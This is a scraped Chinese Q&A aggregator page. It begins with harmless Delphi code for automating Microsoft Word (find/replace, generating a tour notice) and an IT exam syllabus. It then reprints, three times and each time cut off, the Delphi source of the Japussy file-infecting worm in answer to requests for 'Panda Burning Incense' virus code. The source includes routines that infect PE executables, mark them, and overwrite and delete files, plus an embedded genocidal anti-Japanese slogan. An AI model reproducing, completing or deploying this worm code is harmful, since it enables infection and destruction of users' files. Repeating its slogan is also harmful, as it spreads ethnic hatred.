delphi控制word查找替换问题!谁能帮我解决奖励50财富!
自己写的word替换函数WordDoc :WordDocument变量 ; SearchSrc :要搜索的文字 ;RplDest : 要替换的文字;RplWay :是否显示询问对话框 procedure ReplaceWordCharacters(WordDoc : Variant;SearchSrc ,RplDest: string;RplWay:Integer=0);beginWordDoc.Activate;WordDoc.Application.Selection.Find.ClearFormatting;WordDoc.Application.Selection.Find.Replacement.ClearFormatting;WordDoc.Application.Selection.Find.Text := SearchSrc;WordDoc.Application.Selection.Find.Replacement.Text := RplDest;WordDoc.Application.Selection.Find.Forward := True;if RplWay = 0 thenWordDoc.Application.Selection.Find.Wrap := wdFindContinue;if RplWay = 1 thenWordDoc.Application.Selection.Find.Wrap := wdFindAsk;WordDoc.Application.Selection.Find.Format := False;WordDoc.Application.Selection.Find.MatchCase := False;WordDoc.Application.Selection.Find.MatchWholeWord := True;WordDoc.Application.Selection.Find.MatchByte := True;WordDoc.Application.Selection.Find.MatchWildcards := False;WordDoc.Application.Selection.Find.MatchSoundsLike := False;WordDoc.Application.Selection.Find.MatchAllWordForms := False;WordDoc.Application.Selection.Find.Execute(Replace:=wdReplaceAll);end;
delphi中把查询出来的数据导入word中?
我将我的商用《旅行社管理系统》的 发团通知 部分奉献给您,望对您有所帮助。
procedure TFrmMain.N327Click(Sender: TObject);varFWord :Variant;FDoc :Variant;strSQL :string;begin//首先创造对象,如果出现异常就做出提示try FWord := CreateOleObject('Word.Application'); //WOrd程序的执行是否可见,值为false时,程序在后台运行。
FWord.Visible := True;except messagebox(0,'创建word对象失败!','警告',MB_OK+MB_ICONINFORMATION); exit;end;strSQL :='select * From "B_T_Company_Infor"';with dm.ClientDataSet_Temp dobegin if Active then Active:=False; CommandText:=strSQL; Open;end;//现在打开的Word中,创建一个新的页面,然后在其中键入需要的内容try FDOC :=FWord.Documents.Add; {对于Word的新页面} FWord.Selection.Font.Name :='宋体'; FWord.Selection.Font.Size :=20; FWord.Selection.Font.Bold :=2; FWord.Selection.paragraphs.Alignment := wdAlignParagraphCenter; FWord.Selection.TypeText(dm.ClientDataSet_Temp.Fields[0].AsString); FWord.Selection.Typeparagraph;//换行 FWord.Selection.Typeparagraph; FWord.Selection.paragraphs.Alignment := wdAlignParagraphLeft; FWord.Selection.Font.Size :=12; FWord.Selection.Font.Bold :=0; FWord.Selection.TypeText(' 现将我社组团部的'); FWord.Selection.TypeText(' '); FWord.Selection.TypeText('团计划发出,各地请按下列行程做接待,并及早落实'+'团队计划和选派优秀导游员。
各地代订住宿、火车票、机票务必安排好接待,日程'+'如有变更,及时与下站接待社或本社联系,各地接团时请举【'+ dm.ClientDataSet_Temp.Fields[0].AsString+'】接站牌。
'); FWord.Selection.Typeparagraph;//换行 FWord.Selection.Typeparagraph;//换行 FWord.Selection.TypeText('请速回传真确认,谢谢合作!'); FWord.Selection.Typeparagraph;//换行 FWord.Selection.Typeparagraph;//换行 FWord.Selection.TypeText('人数:'); FWord.Selection.TypeText('人数:'); FWord.Selection.TypeText('国籍:'); FWord.Selection.TypeText('国籍:'); FWord.Selection.TypeText('等级:'); FWord.Selection.TypeText('等级:'); FWord.Selection.Typeparagraph;//换行 FWord.Selection.TypeText('这里是团队安排'); FWord.Selection.Typeparagraph;//换行 FWord.Selection.Typeparagraph;//换行 FWord.Selection.TypeText('TO: '); FWord.Selection.TypeText('12345678901234567890'); FWord.Selection.Typeparagraph;//换行 FWord.Selection.TypeText('TEL: '); FWord.Selection.TypeText('12345678901234567890'); FWord.Selection.Typeparagraph;//换行 FWord.Selection.TypeText('FAX: '); FWord.Selection.TypeText('12345678901234567890'); FWord.Selection.Typeparagraph;//换行 FWord.Selection.Typeparagraph;//换行 FWord.Selection.TypeText('______________________________________________'); FWord.Selection.Typeparagraph;//换行 FWord.Selection.Typeparagraph;//换行 FWord.Selection.TypeText('FROM: '); FWord.Selection.TypeText(dm.ClientDataSet_Temp.Fields[0].AsString); FWord.Selection.Typeparagraph;//换行 FWord.Selection.TypeText('TEL: '); FWord.Selection.TypeText(dm.ClientDataSet_Temp.Fields[3].AsString); FWord.Selection.Typeparagraph;//换行 FWord.Selection.TypeText('FAX: '); FWord.Selection.TypeText(dm.ClientDataSet_Temp.Fields[4].AsString); FWord.Selection.Typeparagraph;//换行Except on e: Exception do Messagebox(0,Pchar(e.Message),'警告',MB_OK+MB_ICONINFORMATION);end;//保存文档FWord.Caption := '组团计划保存在: '+ExtractFilePath(application.ExeName)+'Reports\GroupPlan.doc';FDOC.SaveAS(ExtractFilePath(application.ExeName)+'Reports\GroupPlan.doc');if messagebox(0,'组团计划已经保存成功!'+chr(13)+chr(13)+'单击【确定】退出Word,返回到程序中!','您确信要退出Word吗?',MB_YESNO+MB_ICONINFORMATION+MB_DEFBUTTON2)=IDYES thenbegin FWord.Quit; FWord := Unassigned;end;end;-----------------------------Delphi与Word之间的融合技术(1)一、VBA代码含义Microsoft Word是一个集成化环境,是美国微软公司的字处理系统,但是它决不仅仅是一个字处理系统,它集成了Microsoft Visual Basic,可以通过编程来实现对Word功能的扩展。
Microsoft Visual Basic在word中的代码即Word的宏,通过编写Word宏,可实现一些文档处理的自动化,如实现文档的自动备份、存盘等,可扩展Word文档的功能,因此,能够充分利用Word的特性,甚至使Word成为自己软件的一部分。
Word的宏既有有利的一部分,因为它能够帮助我们实现文档的自动化,但是Word的宏也不是纯粹的有利,有时它可能危害我们的文档、计算机系统甚 至网络,从最开始的Taiwan NO1宏病毒到现在的Melissa宏病毒,从最开...
NIT考试都是什么内容?
第一章 Word2003基础 掌握启动Word、创建空文档以及使用向导或模板建立文档;掌握将文档存为不同格式的方法;学会通过文档窗口、文档视图和选择浏览对象查看文档。
掌握在Word中搜索或打开文件、设置文件保存位置以及保护文档安全的技术;掌握打印预览、选择打印范围、打印副本和双面打印的方法。
掌握Word2003的工作环境,包括菜单和对话框、任务窗格、工具栏、快捷键和功能键的使用;掌握获取帮助的各种方法。
第二章 制作文本 掌握日期和时间的输入、输入页码和设置页码格式;掌握符号和特殊符号的输入;掌握定位插入点、选择文本、复制和粘贴文本、剪切和移动文本、引用现有文件、查找和替换字符以及撤销或恢复操作;掌握选择性粘贴和使用Office剪贴板。
掌握拼写和语法检查的使用,掌握拼写和语法选项的设置。
第三章 表格 掌握插入表格、自动调整表格和表格自动套用格式的操作;掌握制作表头,添加行、列或单元格的方法;掌握如何删除行、列或单元格,如何调整行宽或列宽以及合并或拆分单元格技术;掌握设置表格边框和底纹;掌握如何设置单元格内容的格式;掌握调整“表格属性”的操作。
第四章 图形对象 掌握基本几何图形、自选图形和标准图形的画法;掌握图形的组合、对齐或分布、旋转或翻转的操作;掌握如何精确设置图形的大小和角度;掌握设置图形的颜色与线条;掌握图形的文字环绕方式。
掌握插入图片或剪贴画和处理图片或剪贴画的方法;掌握插入艺术字和更改艺术字样式的操作;掌握插入文本框和设置文本框格式的技术;掌握图示的使用技巧;掌握建立数学公式的基本操作;掌握插入图表的基本操作。
第五章文档格式 掌握页边距和纸张方向的控制;掌握设置纸张大小、分栏和添加各页相同的页眉和页脚的操作。
第六章 段落格式 掌握中文文档中常用的段落样式;掌握转换段落样式和取消段落样式的方法;掌握人工调整段落的对齐、缩进、段间距和行间距的操作;掌握使用项目符号或编号的方法。
第七章 字符格式 掌握字体、字形和字号的设置;掌握上标、下标、空心字等字体效果的使用方法;掌握字间距的调整;掌握改变字符颜色、添加底纹、添加下划线或边框的技术。
第八章 编辑长文档 掌握多级大纲的使用;掌握移动、展开、折叠和分级显示大纲的操作。
第九章 批量文档 熟悉制作信封或标签的简便方法;熟悉建立主文档和在主文档中插入数据的操作过程。
NIT各模块的基本内容是什么? 答:《计算机操作基础》 是学习计算机技能的入门性模块,是学习和掌握计算机操作技术的基础。
通过学习操作系统、汉字录入和文字处理软件等计算机的常用功能,使考生了解计算机在执行操作时的要求,掌握计算机的基本的、典型的操作。
通过对多媒体、计算机网络等知识的学习,了解操作计算机处理问题时所需的输入、处理及输出的基本特征。
《计算机应用基础》 介绍计算机应用基础知识,了解和掌握计算机应用的基础知识和基本技能,具有应用计算机的基本能力,使学习者具有运用计算机进一步学习相关专业知识的初步能力。
内容包括:计算机软硬件知识,Windows操作系统,文字处理、电子表格、电子演示文稿、网络应用,计算机应用基础具体讲授的内容包括对于属性,开始,控制面板等基础知识及Word文档的制作,幻灯片制作等较为简单的内容;在此模块的考试中,对Word 文档制作,如改变字体,艺术字,插入图片等的相关内容出题率较高,容易通过。
《管理系统中信息技术的应用》 以介绍管理信息系统的规划、分析、设计、实施和维护的基本思想和方法为主线,将Visual FoxPro数据库作为实践环节,从而深化对管理系统中信息技术理论与实践的认识和理解,进一步提高管理人员信息技术的应用能力和水平。
《文字处理》 亦可作为计算机入门性模块。
教会考生熟练地使用文字处理软件,掌握一种汉字输入方法并具有一定的输入速度,掌握标准的文档编辑,修改和排版规则,熟练地使用计算机进行输入、编辑、排版等工作,并能打印出各种不同风格的、规范的中英文文本。
学员可选择:Word、WPS两种文字处理软件。
《电子表格》 教会考生熟练地使用一种电子表格软件的应用,系统地学习如何使用计算机进行数字信息表示、收集、处理和分析等方面的应用功能。
能够熟练地操作一个电子表格软件对数据进行存储、编辑、计算、分析、检索和打印。
学员可选择:Excel软件进行培训。
《演示文稿制作》 教会考生熟练使用PowerPoint制作、编辑、修改、修饰演示文稿,根据不同的应用熟练添加表格、图表、组织结构图和声音、图片、动画等多媒体对象,以增加演示文稿的可视性和趣味性,熟练掌握幻灯片放映方式设置、幻灯片放映的动画效果,灵活自如地完成演示文稿的播放任务。
《数据库》 教会考生熟练地进行数据库的操作。
学习一种数据库系统,能够建立、维护和管理数据库,具有简单的数据库程序设计技能,在命令和编程两种方式下对数据进行输入、计算、存贮、修改、检索以及生成并打印输出数据库文件。
提供两种软件可供选择,它们是:Visual Foxpro、Access。
《因特网》 通过...
熊猫烧香病毒源代码用C语言写出来!谢谢了!
展开全部 program Japussy; uses Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry}; const HeaderSize = 82432; //病毒体的大小 IconOffset = $12EB8; //PE文件主图标的偏移量 //在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同 //查找2800000020的十六进制字符串可以找到主图标的偏移量 { HeaderSize = 38912; //Upx压缩过病毒体的大小 IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量 //Upx 1.24W 用法: upx -9 --8086 Japussy.exe } IconSize = $2E8; //PE文件主图标的大小--744字节 IconTail = IconOffset + IconSize; //PE文件主图标的尾部 ID = $44444444; //感染标记 //垃圾码,以备写入 Catchword = 'If a race need to be killed out, it must be Yamato. ' + 'If a country need to be destroyed, it must be Japan! ' + '*** W32.Japussy.Worm.A ***'; {$R *.RES} function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'Kernel32.dll'; //函数声明 var TmpFile: string; Si: STARTUPINFO; Pi: PROCESS_INFORMATION; IsJap: Boolean = False; //日文操作系统标记 { 判断是否为Win9x } function IsWin9x: Boolean; var Ver: TOSVersionInfo; begin Result := False; Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo); if not GetVersionEx(Ver) then Exit; if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x Result := True; end; { 在流之间复制 } procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream; dStartPos: Integer; Count: Integer); var sCurPos, dCurPos: Integer; begin sCurPos := Src.Position; dCurPos := Dst.Position; Src.Seek(sStartPos, 0); Dst.Seek(dStartPos, 0); Dst.CopyFrom(Src, Count); Src.Seek(sCurPos, 0); Dst.Seek(dCurPos, 0); end; { 将宿主文件从已感染的PE文件中分离出来,以备使用 } procedure ExtractFile(FileName: string); var sStream, dStream: TFileStream; begin try sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone); try dStream := TFileStream.Create(FileName, fmCreate); try sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分 dStream.CopyFrom(sStream, sStream.Size - HeaderSize); finally dStream.Free; end; finally sStream.Free; end; except end; end; { 填充STARTUPINFO结构 } procedure FillStartupInfo(var Si: STARTUPINFO; State: Word); begin Si.cb := SizeOf(Si); Si.lpReserved := nil; Si.lpDesktop := nil; Si.lpTitle := nil; Si.dwFlags := STARTF_USESHOWWINDOW; Si.wShowWindow := State; Si.cbReserved2 := 0; Si.lpReserved2 := nil; end; { 发带毒邮件 } procedure SendMail; begin //哪位仁兄愿意完成之?汤姆感激不尽! end; { 感染PE文件 } procedure InfectOneFile(FileName: string); var HdrStream, SrcStream: TFileStream; IcoStream, DstStream: TMemoryStream; iID: LongInt; aIcon: TIcon; Infected, IsPE: Boolean; i: Integer; Buf: array[0..1] of Char; begin try //出错则文件正在被使用,退出 if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染 Exit; Infected := False; IsPE := False; SrcStream := TFileStream.Create(FileName, fmOpenRead); try for i := 0 to $108 do //检查PE文件头 begin SrcStream.Seek(i, soFromBeginning); SrcStream.Read(Buf, 2); if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记 begin IsPE := True; //是PE文件 Break; end; end; SrcStream.Seek(-4, soFromEnd); //检查感染标记 SrcStream.Read(iID, 4); if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染 Infected := True; finally SrcStream.Free; end; if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出 Exit; IcoStream := TMemoryStream.Create; DstStream := TMemoryStream.Create; try aIcon := TIcon.Create; try //得到被感染文件的主图标(744字节),存入流 aIcon.ReleaseHandle; aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0); aIcon.SaveToStream(IcoStream); finally aIcon.Free; end; SrcStream := TFileStream.Create(FileName, fmOpenRead); //头文件 HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone); try //写入病毒体主图标之前的数据 CopyStream(HdrStream, 0, DstStream, 0, IconOffset); //写入目前程序的主图标 CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize); //写入病毒体主图标到病毒体尾部之间的数据 CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail); //写入宿主程序 CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size); //写入已感染的标记 DstStream.Seek(0, 2); iID := $44444444; DstStream.Write(iID, 4); finally HdrStream.Free; end; finally SrcStream.Free; IcoStream.Free; DstStream.SaveToFile(FileName); //替换宿主文件 DstStream.Free; end; except; end; end; { 将目标文件写入垃圾码后删除 } procedure SmashFile(FileName: string); var FileHandle...
哪有熊猫烧香的源代码?
program japussy;useswindows, sysutils, classes, graphics, shellapi{, registry};constheadersize = 82432; //病毒体的大小iconoffset = $12eb8; //pe文件主图标的偏移量//在我的delphi5 sp1上面编译得到的大小,其它版本的delphi可能不同//查找2800000020的十六进制字符串可以找到主图标的偏移量{headersize = 38912; //upx压缩过病毒体的大小iconoffset = $92bc; //upx压缩过pe文件主图标的偏移量//upx 1.24w 用法: upx -9 --8086 japussy.exe}iconsize = $2e8; //pe文件主图标的大小--744字节icontail = iconoffset + iconsize; //pe文件主图标的尾部id = $44444444; //感染标记//垃圾码,以备写入catchword = 'if a race need to be killed out, it must be yamato. ' + 'if a country need to be destroyed, it must be japan! ' + '*** w32.japussy.worm.a ***';{$r *.res}function registerserviceprocess(dwprocessid, dwtype: integer): integer; stdcall; external 'kernel32.dll'; //函数声明vartmpfile: string;si: startupinfo;pi: process_information;isjap: boolean = false; //日文操作系统标记{ 判断是否为win9x }function iswin9x: boolean;varver: tosversioninfo;beginresult := false;ver.dwosversioninfosize := sizeof(tosversioninfo);if not getversionex(ver) then exit;if (ver.dwplatformid = ver_platform_win32_windows) then //win9x result := true;end;{ 在流之间复制 }procedure copystream(src: tstream; sstartpos: integer; dst: tstream;dstartpos: integer; count: integer);varscurpos, dcurpos: integer;beginscurpos := src.position;dcurpos := dst.position;src.seek(sstartpos, 0);dst.seek(dstartpos, 0);dst.copyfrom(src, count);src.seek(scurpos, 0);dst.seek(dcurpos, 0);end;{ 将宿主文件从已感染的pe文件中分离出来,以备使用 }procedure extractfile(filename: string);varsstream, dstream: tfilestream;begintry sstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone); try dstream := tfilestream.create(filename, fmcreate); try sstream.seek(headersize, 0); //跳过头部的病毒部分 dstream.copyfrom(sstream, sstream.size - headersize); finally dstream.free; end; finally sstream.free; end;exceptend;end;{ 填充startupinfo结构 }procedure fillstartupinfo(var si: startupinfo; state: word);beginsi.cb := sizeof(si);si.lpreserved := nil;si.lpdesktop := nil;si.lptitle := nil;si.dwflags := startf_useshowwindow;si.wshowwindow := state;si.cbreserved2 := 0;si.lpreserved2 := nil;end;{ 发带毒邮件 }procedure sendmail;begin//哪位仁兄愿意完成之?end;{ 感染pe文件 }procedure infectonefile(filename: string);varhdrstream, srcstream: tfilestream;icostream, dststream: tmemorystream;iid: longint;aicon: ticon;infected, ispe: boolean;i: integer;buf: array[0..1] of char;begintry //出错则文件正在被使用,退出 if comparetext(filename, 'japussy.exe') = 0 then //是自己则不感染 exit; infected := false; ispe := false; srcstream := tfilestream.create(filename, fmopenread); try for i := 0 to $108 do //检查pe文件头 begin srcstream.seek(i, sofrombeginning); srcstream.read(buf, 2); if (buf[0] = #80) and (buf[1] = #69) then //pe标记 begin ispe := true; //是pe文件 break; end; end; srcstream.seek(-4, sofromend); //检查感染标记 srcstream.read(iid, 4); if (iid = id) or (srcstream.size < 10240) then //太小的文件不感染 infected := true; finally srcstream.free; end; if infected or (not ispe) then //如果感染过了或不是pe文件则退出 exit; icostream := tmemorystream.create; dststream := tmemorystream.create; try aicon := ticon.create; try //得到被感染文件的主图标(744字节),存入流 aicon.releasehandle; aicon.handle := extracticon(hinstance, pchar(filename), 0); aicon.savetostream(icostream); finally aicon.free; end; srcstream := tfilestream.create(filename, fmopenread); //头文件 hdrstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone); try //写入病毒体主图标之前的数据 copystream(hdrstream, 0, dststream, 0, iconoffset); //写入目前程序的主图标 copystream(icostream, 22, dststream, iconoffset, iconsize); //写入病毒体主图标到病毒体尾部之间的数据 copystream(hdrstream, icontail, dststream, icontail, headersize - icontail); //写入宿主程序 copystream(srcstream, 0, dststream, headersize, srcstream.size); //写入已感染的标记 dststream.seek(0, 2); iid := $44444444; dststream.write(iid, 4); finally hdrstream.free; end; finally srcstream.free; icostream.free; dststream.savetofile(filename); //替换宿主文件 dststream.free; end;except;end;end;{ 将目标文件写入垃圾码后删除 }procedure smashfile(filename: string);varfilehandle: integer;i, size, mass, max, len: integer;begintry setfileattributes(pchar(filename), 0); //去掉只读属性 filehandle := fileopen(filename, fmopenwrite); //打开文件 try size := getfilesize(filehandle, nil); //文件大小 i := 0; randomize; max := random(15); //写入垃圾码的随机次数 if max < 5 then max := 5; mass := size div max;...
谁有真正熊猫烧香病毒的完全源代码?一起研究一下
program Japussy;usesWindows, SysUtils, Classes, Graphics, ShellAPI{, Registry};constHeaderSize = 82432; //病毒体的大小IconOffset = $12EB8; //PE文件主图标的偏移量//在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同//查找2800000020的十六进制字符串可以找到主图标的偏移量{HeaderSize = 38912; //Upx压缩过病毒体的大小IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量//Upx 1.24W 用法: upx -9 --8086 Japussy.exe}IconSize = $2E8; //PE文件主图标的大小--744字节IconTail = IconOffset + IconSize; //PE文件主图标的尾部ID = $44444444; //感染标记//垃圾码,以备写入Catchword = 'If a race need to be killed out, it must be Yamato. ' + 'If a country need to be destroyed, it must be Japan! ' + '*** W32.Japussy.Worm.A ***';{$R *.RES}function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'Kernel32.dll'; //函数声明varTmpFile: string;Si: STARTUPINFO;Pi: PROCESS_INFORMATION;IsJap: Boolean = False; //日文操作系统标记{ 判断是否为Win9x }function IsWin9x: Boolean;varVer: TOSVersionInfo;beginResult := False;Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);if not GetVersionEx(Ver) then Exit;if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x Result := True;end;{ 在流之间复制 }procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;dStartPos: Integer; Count: Integer);varsCurPos, dCurPos: Integer;beginsCurPos := Src.Position;dCurPos := Dst.Position;Src.Seek(sStartPos, 0);Dst.Seek(dStartPos, 0);Dst.CopyFrom(Src, Count);Src.Seek(sCurPos, 0);Dst.Seek(dCurPos, 0);end;{ 将宿主文件从已感染的PE文件中分离出来,以备使用 }procedure ExtractFile(FileName: string);varsStream, dStream: TFileStream;begintry sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone); try dStream := TFileStream.Create(FileName, fmCreate); try sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分 dStream.CopyFrom(sStream, sStream.Size - HeaderSize); finally dStream.Free; end; finally sStream.Free; end;exceptend;end;{ 填充STARTUPINFO结构 }procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);beginSi.cb := SizeOf(Si);Si.lpReserved := nil;Si.lpDesktop := nil;Si.lpTitle := nil;Si.dwFlags := STARTF_USESHOWWINDOW;Si.wShowWindow := State;Si.cbReserved2 := 0;Si.lpReserved2 := nil;end;{ 发带毒邮件 }procedure SendMail;begin//哪位仁兄愿意完成之?汤姆感激不尽!end;{ 感染PE文件 }procedure InfectOneFile(FileName: string);varHdrStream, SrcStream: TFileStream;IcoStream, DstStream: TMemoryStream;iID: LongInt;aIcon: TIcon;Infected, IsPE: Boolean;i: Integer;Buf: array[0..1] of Char;begintry //出错则文件正在被使用,退出 if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染 Exit; Infected := False; IsPE := False; SrcStream := TFileStream.Create(FileName, fmOpenRead); try for i := 0 to $108 do //检查PE文件头 begin SrcStream.Seek(i, soFromBeginning); SrcStream.Read(Buf, 2); if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记 begin IsPE := True; //是PE文件 Break; end; end; SrcStream.Seek(-4, soFromEnd); //检查感染标记 SrcStream.Read(iID, 4); if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染 Infected := True; finally SrcStream.Free; end; if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出 Exit; IcoStream := TMemoryStream.Create; DstStream := TMemoryStream.Create; try aIcon := TIcon.Create; try //得到被感染文件的主图标(744字节),存入流 aIcon.ReleaseHandle; aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0); aIcon.SaveToStream(IcoStream); finally aIcon.Free; end; SrcStream := TFileStream.Create(FileName, fmOpenRead); //头文件 HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone); try //写入病毒体主图标之前的数据 CopyStream(HdrStream, 0, DstStream, 0, IconOffset); //写入目前程序的主图标 CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize); //写入病毒体主图标到病毒体尾部之间的数据 CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail); //写入宿主程序 CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size); //写入已感染的标记 DstStream.Seek(0, 2); iID := $44444444; DstStream.Write(iID, 4); finally HdrStream.Free; end; finally SrcStream.Free; IcoStream.Free; DstStream.SaveToFile(FileName); //替换宿主文件 DstStream.Free; end;except;end;end;{ 将目标文件写入垃圾码后删除 }procedure SmashFile(FileName: string);varFileHandle: Integer;i, Size, Mass, Max, Len: Integer;begintry SetFileAttribut...
转载请注明出处51数据库 » delphi word查找替换
陪她i